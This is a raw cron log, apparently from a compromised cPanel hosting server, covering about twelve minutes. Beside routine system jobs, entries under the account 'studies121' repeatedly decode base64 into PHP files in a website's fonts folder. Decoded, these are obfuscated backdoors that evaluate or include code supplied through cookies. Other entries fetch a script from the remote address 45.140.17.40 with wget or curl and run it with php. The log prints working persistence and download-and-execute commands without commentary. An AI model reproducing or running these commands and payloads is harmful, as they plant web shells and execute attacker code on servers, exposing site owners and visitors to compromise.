Sep  2 18:17:01 ip-184-168-122-23 CROND[25599]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:17:01 ip-184-168-122-23 CROND[25600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:18:01 ip-184-168-122-23 CROND[25688]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:18:01 ip-184-168-122-23 CROND[25690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:18:01 ip-184-168-122-23 CROND[25691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:18:01 ip-184-168-122-23 CROND[25692]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 18:18:01 ip-184-168-122-23 CROND[25693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:19:01 ip-184-168-122-23 CROND[25771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:19:01 ip-184-168-122-23 CROND[25773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:19:01 ip-184-168-122-23 CROND[25776]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:19:01 ip-184-168-122-23 CROND[25777]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:20:01 ip-184-168-122-23 CROND[25866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:20:01 ip-184-168-122-23 CROND[25871]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 18:20:01 ip-184-168-122-23 CROND[25869]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 18:20:01 ip-184-168-122-23 CROND[25872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:20:01 ip-184-168-122-23 CROND[25873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:20:01 ip-184-168-122-23 CROND[25878]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:20:01 ip-184-168-122-23 CROND[25879]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 18:20:01 ip-184-168-122-23 CROND[25880]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 18:20:02 ip-184-168-122-23 CROND[25885]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 18:21:01 ip-184-168-122-23 CROND[25969]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:21:01 ip-184-168-122-23 CROND[25973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:21:01 ip-184-168-122-23 CROND[25972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:21:01 ip-184-168-122-23 CROND[25971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:22:01 ip-184-168-122-23 CROND[26136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:22:01 ip-184-168-122-23 CROND[26135]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 18:22:01 ip-184-168-122-23 CROND[26138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:22:01 ip-184-168-122-23 CROND[26137]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:22:01 ip-184-168-122-23 CROND[26143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:23:01 ip-184-168-122-23 CROND[26237]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:23:01 ip-184-168-122-23 CROND[26239]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:23:01 ip-184-168-122-23 CROND[26241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:23:01 ip-184-168-122-23 CROND[26242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:24:01 ip-184-168-122-23 CROND[26342]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:24:01 ip-184-168-122-23 CROND[26344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:24:01 ip-184-168-122-23 CROND[26345]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 18:24:01 ip-184-168-122-23 CROND[26347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:24:01 ip-184-168-122-23 CROND[26346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:25:01 ip-184-168-122-23 CROND[26452]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:25:01 ip-184-168-122-23 CROND[26454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:25:01 ip-184-168-122-23 CROND[26455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:25:01 ip-184-168-122-23 CROND[26456]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 18:25:01 ip-184-168-122-23 CROND[26458]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 18:25:01 ip-184-168-122-23 CROND[26459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:25:01 ip-184-168-122-23 CROND[26460]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  2 18:26:01 ip-184-168-122-23 CROND[26553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:26:01 ip-184-168-122-23 CROND[26554]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:26:01 ip-184-168-122-23 CROND[26555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:26:01 ip-184-168-122-23 CROND[26556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:26:01 ip-184-168-122-23 CROND[26558]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 18:27:01 ip-184-168-122-23 CROND[26725]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:27:01 ip-184-168-122-23 CROND[26727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:27:01 ip-184-168-122-23 CROND[26728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:27:01 ip-184-168-122-23 CROND[26729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:28:01 ip-184-168-122-23 CROND[26811]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:28:01 ip-184-168-122-23 CROND[26815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:28:01 ip-184-168-122-23 CROND[26813]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 18:28:01 ip-184-168-122-23 CROND[26814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:28:01 ip-184-168-122-23 CROND[26816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:29:01 ip-184-168-122-23 CROND[26904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:29:01 ip-184-168-122-23 CROND[26906]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
